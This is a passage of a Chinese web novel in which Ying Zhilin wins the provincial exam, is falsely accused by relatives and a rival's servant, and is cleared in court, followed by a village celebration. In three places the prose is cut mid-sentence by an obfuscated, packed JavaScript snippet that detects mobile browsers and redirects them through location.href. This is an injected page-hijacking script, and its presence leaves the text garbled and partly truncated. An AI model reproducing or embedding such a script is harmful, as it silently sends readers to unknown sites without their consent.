可自己与他并无往来恩怨! 他百思不得其解,而楼下已经群情激奋。 霍耀行的小厮,突然说了一句:“此人品性卑劣,怎会有人保举,让他参加乡试? 莫非有人给他开了后门? 这种人他不配乡试,更不配解元之位……” “对!他不配!”当怒就有人应和。 几句挑拨之言后,他们便同仇敌忾地讨伐起应知林。 “对,一定要告发他。” “我们先去截住报喜官,不让他拿到官府签发的文书,把他按死在萌芽里!” 老应家的人被众人架着,朝应知林的住所而去。 闻颜先回了一趟‘一点墨’,拿了整整一匣子铜钱,这才赶回应知林的住所。 报喜官还没到,巷子里一片安静。 马车还没停稳,应知雪姐弟就一起跳下马车,便兴奋地大喊起来:“大哥,你中了举了!” “大哥,你是解元。” 其他学子都出去看榜了,宅子里只剩应知林一个人。 他坐在院中的躺椅里看书,旁边的小几上煮着茶,好不惬意。 听见姐弟俩的呼喊,他回过头来,看着他们身后还跟着闻颜。 他顿时露出惊喜神情:“真的吗?我当真中了解元。” “当然是真的,我看见大哥的名字,在第一名的。”应知海像只欢喜的小兔子,扑进应知林的怀里。 应知林把应知海抱在怀里,他走到闻颜面前,笑盈盈地看着她:“当初你送我去读书时,我就说过,一定会读出成绩来回报你。 如今初有成效,你的付出没有白费! 闻颜,你高不高兴?” 应知林的眼神像一潭幽深的温泉,温柔似水,又深不可测,仿佛能将人吸进去。 闻颜被看他得很不自在,若无其事地错开目光:“当然高兴啊,这可是解元。不是谁都能考上的。” 她转身拍拍马车上的匣子:“那么,解元老爷,能麻烦你帮忙把这只匣子搬进屋去吗?” “小海,你自己玩去。”应知林放开弟弟,来到马车前搬东西。 他试着抱了一下,沉甸甸的。 他好奇问道:“这里面是什么?” 闻颜打开盖子,露出里面的铜钱:“你中了解元是大喜事,除了给报喜官差的喜钱,来凑热闹的人也不能少,到时你就把这些铜钱撒出去。” 应知林脸上露出一丝羞赧:“……谢谢你为我考虑得如此周全。” 他们话音方落,巷口就传来一阵喜庆的唢呐声。 扭头望却,就见一支报喜的官差进入巷子。 除了报喜的三名官差,他们身后还跟着三三两两凑热闹的百姓。 很快,官差就来到他们面前。 确认门牌号后,他看向闻颜几人:“请问,考生顾惇,张元可是住在此处?” 应知林道:“是,他们出去看榜,还未回来。” 报喜官差便笑着道:“那我们便等一等。” “几位请到院中,喝茶等吧。”应知林刚将人请进院中,外面又是一阵欢乐的鼓乐声。 “考生崔鹿鸣可住在此处?” 又接连来了两波报喜官差后,因为人不在,全都让应知林招呼进院中。 直到最后一波报喜官差,问道:“考生应知林可住在此处?” 巷子里已经人满为患。 应知林上前拱手道:“我便是。” 报喜官差走到跟前,脸上立即露出笑意:“原来您就是应知林,恭喜你获得本次乡试头名,这是官府签发的文书。” 官差说着,就将一纸文书递给应知林。 应知林接过,确认之后,又很是礼貌客气地道谢。 闻颜趁机拿出一个荷包,塞给领头之人。 荷包鼓囊囊的。 领头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344323|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官差握在手中沉甸甸的,他便知这位解元出手很是阔绰大方。 “小的还要回去复命,就不打扰了诸位了。”三人办完差就准备离开。 谁知,人群外却传来一声喝斥:“不能走。官爷,你们不能走。” 三名官差回头,就见人群外挤来一行人,乔婆子也被他们推了出来。 看见老应家一行人,闻颜和应知林心中便有了数。 “应知林,看见你的祖母,你就不心虚吗? 你若是良知尚存,就交完文书,自除功名。” 应知林冷笑一声:“可笑,我凭自己的本事考上的,为何要自除功名?” “好笑,你的功名怎么来,你敢说出来吗? 你对家人做的那些卑劣之事,你敢说当众说出来吗?”霍耀行的小厮在人群里煽动。 应知林看着乔婆子:“你说说看,我都对你做了什么?” 乔婆子心虚,目光闪避。 有人对乔婆子恨铁不成钢,代为控诉道:“官爷,应知林他品行不端,根本就没有乡试的资格。所以,这个解元,他不配。 此贼靠全家供养才能读书,可他却无情无义,竟在乡试之前,骗了亲祖母的棺材本,卖了亲姑姑,就只为了乡试的时候,能在京城住豪宅,穿好衣,装得像个有钱人。” “这般品性不端之徒,连科举的资格都没有,这个解元,自然轮不到他。” 乔婆子一家人破破烂烂,跟一身绸衣的应知林,形成鲜明对比。 一时间,大家对他们的说辞,就信了大半。 他们开始对应知林指指点点。 有人骂他无情无义。 有人骂他不是人。 更有人担忧,他当了官会为害一方。 三名报喜官差见此情景,也不敢记下决断。 他们一边护住应知林,一边派人回去禀报此事。 就在此时,数名学子挤了进来:“诸位围在我们家门口干什么?难道全都是来看新解元的?” “大家都散了吧,新解元虽然长得好看,但他已经名草有主了。”有人故意打趣道。 然而,并无人发笑,反而怒视着他们。 第282章:品性纯良,以德报怨 原本好声好气的学子,突然冷了脸:“你们说应知林贪图享受,一个人住大宅子,可这宅子里面住了二十几人。 这算是什么贪图享受? 若是不信,你们大可以进去看看。” 同窗侧身,给他们让出道来。 “那衣服呢?他穿着绸衣,他的家人却穿得破破烂烂。” “那是他的妻……” 应知林突然拉了他的胳膊一下,不让他掺和进自己的乌糟事里。 旁人却觉得应知林是心虚了,嘲讽更甚。 “我们就在院中,有事及时叫我。 还有,鹿鸣已经去京兆府报官了,差役马上就会到。” 同窗并未强求,说完就回了院中。 “多谢。”应知林刚道完谢,崔鹿鸣就带着一群佩刀的差役就涌进巷子里,将众人团团围住。 义愤填膺的百姓先是害怕。 在小厮的挑拨之下,又趁机告状。 事关本届考生,差役直接将主要人员带回府衙审问。 老应家的人一听要去官府,顿时吓得双腿直哆嗦。 百姓都怕见官,更何况他们和应知林的事根本禁不起查。 他们只是想搞臭应知林的名声,让他往后科举艰难、仕途受阻。 可不想把自己搭进去。 但是在差役面前,根本没有他们拒绝的份。 闻颜指着人群里的一个男子道:“差役大哥,他也是他们的同伙。” 闻颜指的,正是霍耀行的小厮。 小厮见势不妙,欲混入人群逃跑。 闻颜夺过刚刚送给报喜官差的钱袋就砸了过去。 只听那人痛叫一声,踉跄一下,暴露位置。 差役立即上前将人按住。 一行人,又浩浩荡荡去了京兆府。 事关本次解元,京兆府颇为重视,府尹当即就亲自升堂审理。 惊木拍下,老应家的人吓得双腿哆嗦,说不出一句完整的话。 闻颜看向那名小厮,刚才他混在人群里,又故意遮遮掩掩,闻颜没认出。 此时上了公堂,近距离一看,她一眼认出他是津平侯府二管家的儿子。 他从小跟在霍耀行身边当跟班。 如果霍耀行当上家主,他便是下一位霍管家。 闻颜不知,霍家为何会掺和进此事。 是跟老应家合谋,还是纯粹拱火。 不过,既然已经入局,怎么可能让他们全身而退。 闻颜直接点破他的身份,并咬定他与老应家勾结在一起,故意陷害应知林。 百姓震惊。 此事竟与津平侯府有牵扯?! “听说津平世子只考了第六名,莫非是他嫉妒应解元,才做出此等行径?” 听着众人议论,小厮脸色铁青。 他不过是奉主子之命,过来挑拨离间,把水搅混。 他没想到竟然暴露了。 他慌了一瞬,便一口咬定自己是路见不平,见义勇为。 把霍家拉下水,闻颜就不再与他纠缠,而是将主场交给了应知林。 应知林默契控场:“他们的指控,我一项都不认。 还望府尹大人还我清白。” “雁过留痕,只需派人去松山村查一查便知。” 乔婆子心里一慌:“他们都被你收买了。当然帮你说话。” “一个两个能收买,十个八个如何收买? 况且,当初的分家、断亲文书也有在县衙备案。” 府尹闻言,立即派人去查。 松山村距离京城不近,快马加鞭地来回,也要一个半至两个时辰。 若是带上证人,三个时辰是要的。 不过。 差役的速度,比预料中还快。 两个时辰后,差役不仅带着村民的口供,还带着四十几个证人。 四十几人当中,有男有女,有老有少,都是松山村的村民。 不是差役要带这么多人,实在是村民,一听老应家的人又去找闻颜麻烦,愤怒不已,争着抢着要亲自来给应知林做证。 走在最前头的,便是话族长。 应知林立即上前,将他搀扶住:“族长,您怎么来了?” “你发生了这么大的事,我怎能不来。”应族长冷哼一声,转头就指着乔婆子,骂道:“老乔氏,你到底要做什么? 你作天作地这么多年,以前老二夫妻俩便要供养全家。 他们**,你就想把应知林敲骨吸髓不成?” “我是他的血亲祖母,他理应孝顺我!”乔大双有恃无恐。 读书当官的更注意名声,即便断亲分家,她也能拿教字拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们会将乔婆子押回村子,家规处置。 应知林得到百姓的交口称赞,说他品性纯良,以德报怨。 第283章:泄露会试考题 至于霍家那名小厮,挨了十个板子之后,被人抬着送回了霍家。 走出公堂之后,闻颜感激地对大家一揖:“诸位见证我夫妻二人清白,闻颜在此谢过诸位了。” 霜姨隐在人群里,故意问道:“你莫非是闻家那位抱错了的二小姐?” 闻颜大大方方的承认:“正是我。” 众人露出惊讶神情。 原来闻家二小姐,嫁的穷酸书生竟生得这般美貌,如今还得了解元。 塞翁失马,焉知非福! 众人不由联想,霍世子抛弃闻二小姐另娶他人。 闻二小姐的夫君考了解元,而霍世子只得了第六名,压他一头。 霍世子的小厮亲自参与案件。 几个要素一结合,众人便觉得自己抓住了真相。 霜姨总结道:“霍世子被瞧不起的人压了一头,心有不甘,便联合老应家蓄意抹黑应解元。 啧啧啧。 没想到风光月霁的霍世子,内心竟如此不堪!” 霜姨挑起大家猜疑,悄然离开。 闻颜笑着对道:“今日我夫君中举,独乐乐不如众乐乐,大家一起分享这份喜悦吧。” 闻颜将装铜钱的匣子塞给应知林,让他撒喜钱。 众人一阵哄抢,好不热闹。 应族长看着应知林,老怀甚慰。 他有预感。 应氏一族,甚至是整个松山村,都会因为这对小夫妻,蒸蒸日上。 喜钱撒完,应知林走向应族长。 他对应族长深鞠一躬:“族长爷爷,知林没有辜负您的期望。” 应族长老泪纵横,拍着应知林的肩膀道:“好孩子,我没有看错你。 你爹娘、阿爷在泉下有知,也会欣慰的。” 村民玩笑道:“知林,你以后当上官了,可不能忘了族亲,村里。” 应知林却郑重其事地道:“叔您放心吧。这些年大家对我的帮助,我铭记于心。 我不会忘记大家恩情的。” 那位村民反而不好意思地挠挠头。 闻颜适时道:“时间不早了,大家今晚就别回去了,在客栈住下,明儿一早我再安排马车送大家回去。” 随后,她便带着大家,往京城最大的客栈而去。 路上,应族长跟应知林一路闲聊。 确定应知林明要参加会试之后,应知林又和闻颜商量道:“你是我们村的第一个举人,至少要摆三天流水席庆贺! 对还要开祠堂祭祖,告慰祖宗。” “你们年轻人事务繁忙,这件事就交给我来办。” 闻颜立即道:“只不过,我从未操持过这等宴席,恐怕只能出点钱,需要族长您来主持大局。” 闻颜一席话,让应族长觉得自己十分重要。 应知林小两口,没他当定海神针家都得散。 应族长顿时精神奕奕,红光满面。 确定好升学宴之事,他们就到了客栈。 包下半间客栈给他们歇脚,又在隔壁酒楼订了五桌席面感谢村民相助。 津平侯府内。 霍耀行也得到了应知林全部信息。 应知林竟然是闻颜嫁的那个穷酸秀才。 不知为何,霍耀行心中烦闷不已。 他扯开衣领,呼吸才顺畅些。 他虽未留意过应知林的长相,想必定如田间的佃农一般,又黑又丑,还带一身的泥腥味。 闻颜定是不甘被自己抛弃,才托举泥腿子来参加乡试,力压自己一头。 应知林也是在成婚后不久,才去梧桐书院念书。 据说,梧桐书院的山长季如晦对他指点颇多。 也难怪他能考中解元。 季如晦教书的本事,霍耀行是认同的。 前世的自己,本来连进前十的资质都无。 却在季如晦的指点之下,得了探花之位。 可惜。 季如晦那个老东西实在吝啬,竟然不肯将人脉送与他用。 他也只好将老东西气死,以绝后患。 应知林能考中举人,说不定有些读书天份。 若是让季如晦继续指点,说不定真让应知林考中进士。 不行! 今生的闻颜,不配青云直上,只配在泥淖中挣扎。 眸光流转间,他已经有了对付那个东西的主意。 至于那个祁云舟…… 今生状元之位他要定了,他不容许有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看见他进院,立即像只欢快的蝴蝶,飞扑进他怀中:“夫君,你让我好等。” 闻如月娇嗔地勾着他的腰带,往屋内带,“夫君,我为你准备了好东西。” 闻如月为了等他来,特地洗了澡,上了妆,还换上他喜欢的衣裳。 半透的纱衫,衬得她娇好的身材越发诱人。 霍耀行的眼中却无半点波澜,反而皱了皱眉。 他掩下眼中的不耐烦,还是跟她入了暖阁。 两人落座之后,闻如月像无骨的菟丝花一般,缠绵在他身上,腻腻歪歪的调情许久。 霍耀行不为所动。 明明前世他如狼似虎,今生怎地如此冷淡? 莫非只有偷情才能刺激到他? 闻如月不甘地撇了撇嘴,收起神通,拿出她提前写好的考题:“喏,这就是我为你准备的东西。” 霍耀行一目十行地看完,轻蹙眉头,疑惑不解:“这是……?” “明年会试的考题。” 霍耀行惊讶地瞪圆眼睛:“你怎么会……” 闻如月扬起下巴,傲骄而得意地哼了一声:“我能预知未来,不是早就向你证明过了吗?” “提前得知考题,夫君你就能提前做准备。 明年的状元,非你莫属。” 闻如月现在很是后悔。 前世她就应该把祁云舟的答卷一并背下来。 霍耀行只需要背下祁云舟的文章,根本不需要再辛苦备考。 霍耀行握住闻如月的手,眼中满是温柔:“夫人,能娶到你,是我的幸事。” 闻如月娇媚一笑,拉着他的手按在她的腹部,“夫君,母亲一直在催我们要个孩子…… 说着,她便吻了上去。 翌日清晨。 应族长一行启程回村。 闻颜和应知林相送。 应知林与村民寒暄。 闻颜与应族长在一旁说话。 她将一只钱袋交给应族长:“知林今晚参加鹿鸣宴,明后天应该还要维护同年关系。 回去要四五日之后,流水席的事就要辛苦您操持了。 这里面有五十两银子,一部分用来答谢今日帮忙的村民,剩下的就用来置办流水席。 不必想着省钱。” 应族长没想到闻颜这般信任他,‘哎哎’应着,保证道:“你放心吧,知林一生只当一次解元我怎么也要办得风风光光。” 送走了村民。 闻颜顺道用马车送应知林回住处。 应知林低着头,轻咳一声:“那些银子,我会记账的。” 闻颜不在意地摆摆手:“你这就见外了不是,我们是合作伙伴,自当互帮互助。 他日你做了官,我能得到不少的好处和便利。” 闻颜把一切算得明明白白。 应知林只觉心脏中了一箭。 很快,他们就回到了宅子门口。 门外站着一名穿着儒衫的书生。 马车停下,书生转过身来,看到夫妻二人,拱手道:“兄台可是应知林?” “是我。”应知林回礼,“你是?” 书生道:“在下祁云舟,也是本次乡试的考生,我今日前来,有事相求。” 闻颜听见他的名字,眼神亮了亮。 祁云舟! 明年的状元。 此人品性端方,不仅学问出众,治世手腕更是一流。 前世,闻颜就听过不少他的功绩。 是个心思玲珑,又一心为民的好官。 据说他出现在普通的书香世家,却从会试开始,一直压在霍耀行头顶。 不管霍耀行怎么努力,祁云舟都比他更优秀,政绩更突出。 “原来是祁兄,”两人礼貌地寒暄几句,越聊越觉得对方很合自己的脾气,有种相见恨晚的感觉。 “不知此次前来,所为何事?”应知林发现闻颜时不时瞧他一眼,强行结束话题。 祁云舟面露羞赧,挠了挠头,“实不相瞒,祁某身体特殊,受不得蚊虫叮咬,不仅会瘙痒难耐,还会红肿过敏。 今年考试,多亏了你同窗燃的驱虫熏香,驱赶了大部分蚊虫,我才少受很多折磨。 所以,祁某今天才厚着脸皮冒昧上门,向应兄请教,那驱虫的药粉,是从何处购得。” “那些东西,都是我的妻子为我准备的,”应知林看向闻颜,“所以,你得问我妻子。” “那是我自己随便配的草药,在市面上买不到。”闻颜说。 “这……”祁云舟立即露出一脸为难的神情。 如果是她自己制作的东西,就不方便讨要了。 他想了想,便向闻颜求购。 闻颜为难道:“这个药粉制作很是麻烦,我恐怕没法为你制作,不过我可以把药方卖与你。” “还请夫人开个价。” 闻颜眼珠子转了转,道:“钱就不必了,你拿两幅墨宝来换就好。” 祁云舟的字写得很好。 明年他中状元之后,一夜之间名声大噪,他的字画在京城千金难求。 现在向他换两幅墨宝,应该不过分吧! 祁云舟没想到闻颜会提这个要求。 他怔了一怔,便爽快地答应了。 并且还买二送一。 闻颜也爽快地写了药方给他。 “应兄,晚上鹿鸣宴见。”祁云舟拿着药方,脚步轻快地离开了。 闻颜看着他的背影,失笑地摇了摇头。 前世他乡试名次靠后,必定是吃了蚊虫的苦。 来年会试天气尚冷,没有蚊虫困扰,便接连拿下会元、状元。 这回名次提前,应该是受到那些驱虫药粉的影响…… 她正想着。 眼前忽然一花。 她抬起头,是应知林站在前面,挡住了她的视线。 闻颜好奇:“怎么了?你还有事?” “你还有别的事要忙吗?要不要去院中坐一会儿?”姓祁的就这么好看吗? 他的脸没自己精致。 他的身板比自己单薄。 闻颜为何看得目不转睛? “不了,我还有事就先走了。”闻颜摇摇头,就转身上了马车。 应知林目送马车消失在视线之中,他转身推开院门,刚走进去。 就见宋驱几位同窗,抱着胸,成排站在院子里盯着他。 应知林吓了一跳:“你们这是干什么?” 宋驱几步走上前来,勾住他的脖子,审问道:“乡试都结束了,你怎么还住在这里?” “你小子,不会是中了解元,就嫌弃糟糠之妻了吧!” 第285章: 美貌暴击 应知林一把推开宋驱的爪子:“臭嘴说什么呢! 谁家的糟糠之妻有闻颜漂亮? 谁家的糟糠之妻有闻颜有钱? 谁家的糟糠之妻有闻颜温柔可爱?” 应知林灵魂三问。 宋驱:“……” 其他同窗齐齐后退,同时摆手,表示他们跟宋驱没有任何关系。 宋驱瞪着他们咬牙:“你们好样的!” 他转身就想溜,却被应知林抓着手腕,轻飘飘地拽了回来。 应知林盯着宋驱:“你道歉。” 宋驱眨巴着眼睛:“跟谁道什么歉?” “当然是给闻颜道歉,你刚才说她是糟糠之妻。” “哈?!”让他为‘糟糠之妻’这四个字道歉? “糟糠之妻是形容共患难过的妻子,闻颜一直养我,根本没让我吃过苦。” 宋驱感觉应知林披上了一层圣光。 他先郑重其事地对闻颜立即道歉,随后敲了敲应知林的脑袋:“你是不是长新脑子了?” “什么新脑子?”同窗在一旁起哄问道。 宋驱:“当然是恋爱脑啊!” 众人哈哈大笑着跑开。 应知林立即追了上去,“你们给我站住,看我怎么收拾你们。” “我们傻吗?明知道要挨收拾,怎会乖乖停下?” 应知林和同窗玩闹着,跑在前面的同窗,忽然顿住,撞成一团。 应知林顺势将罪魁祸首宋驱抓住,刚要说话,就看见门口去而复返的闻颜,正笑盈盈看着他。 自己刚才幼稚的打闹举动,岂不是全被她看见了? 应知林脸颊滚烫:“你怎么回来了?” 闻颜将一个包袱递到他面前,“你今晚不是要去参加鹿鸣宴吗?我给你准备了一身衣裳,刚才忘记给你了。” 应知林伸手接过,一时间都不知该不该道谢。 “你本来就小,像这样打打闹闹才正常嘛。”闻颜踮起脚尖,拍拍他的脑袋,道别一声就离开了。 应知林的脸唰地一下红透。 自己好像被闻颜当成小孩了! 他心里仿佛吃了一颗话梅干,既甜又酸涩。 宋驱拍拍他的脑袋,学着闻颜的样子和语气:“知林还是宝宝,像这样打打闹闹才正常嘛!” 应知林恼了:“……宋驱,我咬你!” 鹿鸣宴是由地方官员,为新科举人举办的宴会,庆祝学子中举。 京城的鹿鸣宴,一般都在国子监举办。 除了京城府尹,国子监、礼部都会派人来参加。 是以,夕阳斜之时,国子监门口就热闹起来。 除了赴宴的学子,还有许多因为好奇,来凑热闹的百姓。 “这位突然冒出头的新解元,也不知长得如何?是老是小,是俊是丑。” “你没听说吗?这位新晋解元,正是闻家二小姐的乡下夫婿,据说他长得很是貌美。” 霍耀行上了马车,听见的便是这等议论。 他神情不变,与朋友、同年们寒暄。 他重生之后,并未闲着,一起到各处赴宴,结交了许多朋友,都是明年能中进士,未来对他仕途有利的人。 忽然。 人群里有人对霍耀行指指点点:“你们瞧,他就是霍家的世子爷!这次得了第六名,很是厉害。” “会作学问又如何?”他的同伴不赞同地摇摇头,“别看他一副风度翩翩,光风霁月的样子,实则心胸狭隘。 明明自己悔婚,又见不得闻二小姐过得好。 就故意派人去毁了应秀才。” 那些人毫不避讳。 这些话一字不少地落入霍耀行,和他朋友们的耳中。 霍耀行的脸色倏地一变。 他的同窗尴尬不已,安慰道:“都是些没见过世面的百姓在胡言乱语,他们不知内情,容易偏听偏信,你千万别往心里去。 就把他们的话当屁放了吧。” 霍耀行脸色几经变幻,最后他故作潇洒地叹了口气,声音里又是无奈又是委屈:“我竟不知,我与那位闻二小姐何时有过私情。 我们总共只见过两次面,相处时间不足一刻钟。 说来你们可能会觉得我冷血,我与闻二小姐之间就如同萍水相逢的陌生人,我对她没有半点私情。 至于婚事,我从来都是听从父亲母亲安排,不管二老让我娶谁,作为我的妻子,我都会永远的敬她爱她。” “至于今年的解元,我为何要自降身份去为难他? 就算将他拉下马,解元之位也轮不到我。 我傻了才会去淌这一趟浑水。 只怪我那小厮,喜好八卦。 看老应家的人哭得可怜,就犯了心软的毛病,凑上去瞎指挥。 他在上公堂之前,甚至不知应解元,与闻二小姐和我之间的关系。” 霍耀行一通解释。 他的朋友跟着附和:“要是真的害人,岂会派贴身小厮去?这是生怕查不到自己身上吗?” “况且,你是侯府世子,应解元是耕读子弟,他就算中了解元,奋斗一辈子,恐怕也赶不上你十分之一。 霍兄对付他反而落了下乘。” “霍兄这也算是无妄之灾了。” 几人一唱一和,不管旁边的路人信不信,他们这些举人已经信了大半人。 霍耀行的脸色才好看了些。 他们正准备进国子监。 就听街头传来爽朗的说笑声。 霍耀行几人不由看了过去。 几名书生打扮的人,逆着夕阳而来。 他们衣带飘扬,言行爽朗,让人心生亲切。 不时。 一行人走到国子监门口。 众人这才看清他们的容貌。 他们容貌各异,有人生得俊美,有人相貌平平,唯一不变的,是他们通身儒雅的气质,平和睿智的眼神。 唯有领头之人,生得朗眉星目,高大挺拔,既有书生的文气,又有儒将的气势。 他穿着一件青色的提花长衫,精致又不失低调。 就连霍耀行都忍不住看了他一眼又一眼。 在朋友的鼓动下,他正准备上前结交一番。 他刚迈出步子,就听不远处的祁云舟,对他的同乡道:“看见没,长得最俊美的那个,便是今年的解元,应知林。” “走,我们过去,介绍给你认识。”祁云舟拉着同乡就迎了上去。 霍耀行伸出去的脚,猛地缩了回来。 遭受美貌暴击的霍耀行,不敢相信此人,竟是应知林! 与他想象中的泥腿子没有半分相似之处! 第286章:贵客、求夸奖 刚刚还开导他的朋友,就看见霍耀行脸上的欣赏,以肉眼可见的速度变成嫉妒和厌恶。 这样看来,霍耀行针对应知林也不无可能。 一人被自己舍弃的女人,所嫁夫君不仅比自己有学识,连容貌都比自己俊美。 心态很难不崩! 霍耀行的目光,几乎要在应知林身上烧出一个洞来。 果然啊! 闻颜就是一个肤浅至极的女人。 他一直奇怪,闻颜为何会帮一个泥腿子逆天改命。 毕竟,请动季如晦那个老不死的,要付出不小的代价。 原来,是看中了这张脸。 不过,他们的好运也到此为止了。 霍耀行斜了身边的朋友一眼:“毕竟是本次解元,你们自行上前结交即可。” 他笑盈盈的,看着很是和气。 众人却知道,霍耀行这是在逼他们站队。 他和应知林,只能二选一。 一个耕读之家的解元,怎及得上侯府世子。 他们知道该怎么选。 跟着霍耀行就进了国子监。 霍耀行一行带头孤立疏远应知林,其余人读出气氛微妙,他们在得罪解元和得罪侯府之间,选择了明哲保身。 应知林孤身一人,兴许会有一丢丢不适。 但他却与十来位同窗,一同赴宴。 还有祁云舟在一旁知林长知林短。 别说是被孤立,应知林甚至觉得同窗聒噪,不过也结识了两三个不错的朋友。 鹿鸣宴结束后,应知林和与新认识的朋友走动、应酬之后,便与闻颜一起回了松山村。 闻颜不知,他们离开不久,‘一点墨’的门前,就停了一辆低调华丽的马车。 马车上跳下一个锦衣小童,他一阵风似的跑进铺子,踮着脚尖,趴在柜台上,仰着一张粉雕玉琢的脸问苏合:“闻颜姐姐是住在这里吗?” 苏合道:“你找我家小姐?” “闻颜姐姐回来了,也不去泰王府探望我。 我在家里左等右等不见她,只好自己来找她了。” 苏合听见‘泰王府’再根据他的年龄,很快猜到他就是泰王孙。 苏合连忙道:“小姐已经回松山村了,我家姑爷考中了解元,回去办流水席,敬告先辈,与亲友同庆。” 泰王孙跺了跺脚,对着身边侍候的人发脾气:“你看,我就说要早点来吧,你偏不信,这下错过了。” 小厮不敢狡辩,连忙告罪。 泰王孙哼了哼:“你去备一份礼,我们明天也去吃那个流水席。” “这可使不得。你是王孙,怎能去那等鱼龙混杂之地,太危险了。” 泰王孙不高兴了:“你是主子我是主子?” 小厮顿时不敢吱声了。 松山村里。 应族长带着人将流水席准备得七七八八。 席面是按村里最高规格准备的,除此之外还特地准备了祭祀的小三牲猪、鱼、鸡。 大批酒水并不好订。 应族长也是花了很多功夫,通过县城杂货铺才订到。 宗祠旁边临时搭建的厨房里,代婆婆拉着闻颜的手,跟她讲菜色。 八个凉菜,四荤四素,六个蒸菜,四咸两甜,另外有整鸡、整鱼、一汤一素。 共十八个菜。 代婆婆自豪地道:“去年地主老财过寿,也没咱们的席面丰盛。” “代婆婆做事,我最是放心。” 转眼,就到了流水席的正日子。 应族长比应知林还紧张。 天刚亮,他就打发两个大孙子,赶着牛车,去县城把酒拉回来。 整个村子都张灯结彩,喜气洋洋。 闻颜和应知林也装扮一新。 巳时刚过,就陆续有人上门。 除了村里的人,还有许多应氏族亲。 应知林的母族也来了人。 是一对中年夫妇,背着一位老太太。 应知林见到来人,当即就迎了上去,亲自扶着老太太:“外祖母!” 应知林的母亲焦丽娘是家中独女,外祖父早逝,外祖母体弱,再加上乔婆子凶悍,这些年少与这边走动。 今日是外孙的大喜之日,外祖母才撑着病体过来。 外祖母甚是欣慰地拍着他的手:“你没有辜负你外祖父的期望!” 应知林眼眶泛红,朝闻颜招了招手:“这是外祖母,这位是表舅,这位是表舅母。” 闻颜大步走了过去,一一见礼:“外祖母、表舅、表舅母。” 外祖母慈爱地摩挲着闻颜的手。 随即就将头上的祥云银簪摘了下来:“好孩子,这是知林他外祖父送我的订亲信物,今日转赠与你,就当是我和你外祖父的心意。” 说完,她就将银簪插在闻颜鬓间。 闻颜碰了碰鬓间的银簪,软声道谢:“谢谢外祖母。” 心里却想着发簪珍贵,自己没有立场收下。 等今日忙完,再抽个时间还给应知林,由他交给未来真正的妻子。 外祖母的身体真的很虚弱。 只说了这几句话,就脸色发白,站不稳当了。 应知林连忙将人背回自己的房间:“外祖母,您在这里休息,等到时候了,我再叫您过去。” 闻颜见老人家身体虚弱,虚不受补,就砌了一盅参须茶送过去。 外祖母喝过参茶,没说上两句话,就睡了过去。 表舅妈别过脸去抹了抹泪,可见她是真正担心外祖母身体。 闻颜不放心留她一个人,便让哑妹在房间里照看着。 她刚吩咐完,立夏就匆匆跑回房间:“小姐,将军府来人了。” 闻颜提着裙摆就小跑出去。 刚出院门,就连几辆马车停在院门口。 白夫人带着几个孩子,热热闹闹地下马车。 应知林在一旁迎接。 “义母!”闻颜开心地飞奔过去。 白夫人点点闻颜的眉心:“都当上解元夫人了,还这么跳脱,孩子气。” “在义母面前,我永远都是孩子嘛!”闻颜俏皮地吐了吐舌头,又跟孟家的几个姐妹兄弟打招呼。 她搀着白夫人往里走。 “白夫人!”客人连忙过来见礼。 庄户人家不懂贵人的礼数,行礼不伦不类。 白夫人笑容亲切,让大家不必拘礼。 镇国将军威镇八方,他的妻子也战功赫赫,不少人敬仰着她。 本以为她是可望不可及的存在,今日一见,却这般平易近人。 有胆大的妇人,上前自报家门:“白夫人,我叫兰花,大家都叫我兰婶子,我最会编草鞋。” “是吗?”白夫人打量着她,祖母下移,落到她的脚上。看见她穿着的草鞋,问道,“这就是你自己编的吗?看上去很结实,花纹也漂亮。” 兰婶子没想到会被夸,顿时脸颊羞得通红。 本想再说什么,偏偏笨嘴不争气,紧张得什么都说不出来。 旁边又来一个婶了。 胖腚一扭,就将兰婶子挤开:“白夫人,我最会养鸡,我家的母鸡每天都会下一个蛋。” 圆乎乎的脸上,全是求夸将的表情。 旁边有人起哄拆台,“白夫人面前可不兴说谎,你家的鸡都是你闺女在喂。” “闺女还是我养的呢!怎么不算是我会养鸡呢?”胖婶子哼哼唧唧地强词夺理,惹得众人哄堂大笑。 这时,立夏再次来回禀:“小姐,泰王府的马车过来了。” 原本热闹的院子,渐渐安静。 能见到白夫人已经出乎预料。 竟然不有王府上门。 莫非,闻颜认识什么王妃郡主? 第287章:原来是为了应知林 闻颜在开蒙宴上,救了泰王孙后,泰王孙就异常依赖喜欢她,还要认她当干娘。 虽然她当时异常坚定地拒绝了,但是泰王多思敏锐,把这个孩子看得比命还重。 定会觉得‘救命之恩’太过巧合,怀疑她目的不纯。 他容许旁人打他的主意,敢从他孙子着手,那就是在拔他逆鳞。 她确实抱有目的,原本是想让泰王欠她一个人情,能在关键时刻有所帮助。 可不是想被泰王时时提防。 所以此后她就再未登过泰王府。 就连中秋节,她给恭太妃送了月饼,也没往泰王府表示。 她刻意保持距离,就是在告诉泰王,她没有非分之想。 好在她的以退为进有成效。 果然等到泰王松口了。 “闻颜姐姐……你前几天去京城,为何不去见我?”随着一道稚气童声抱怨,一个身着绸衣,粉雕玉琢的七八岁娃娃,欢快地跑进院子。 他的身后,还跟着两名捧着礼盒的小厮。 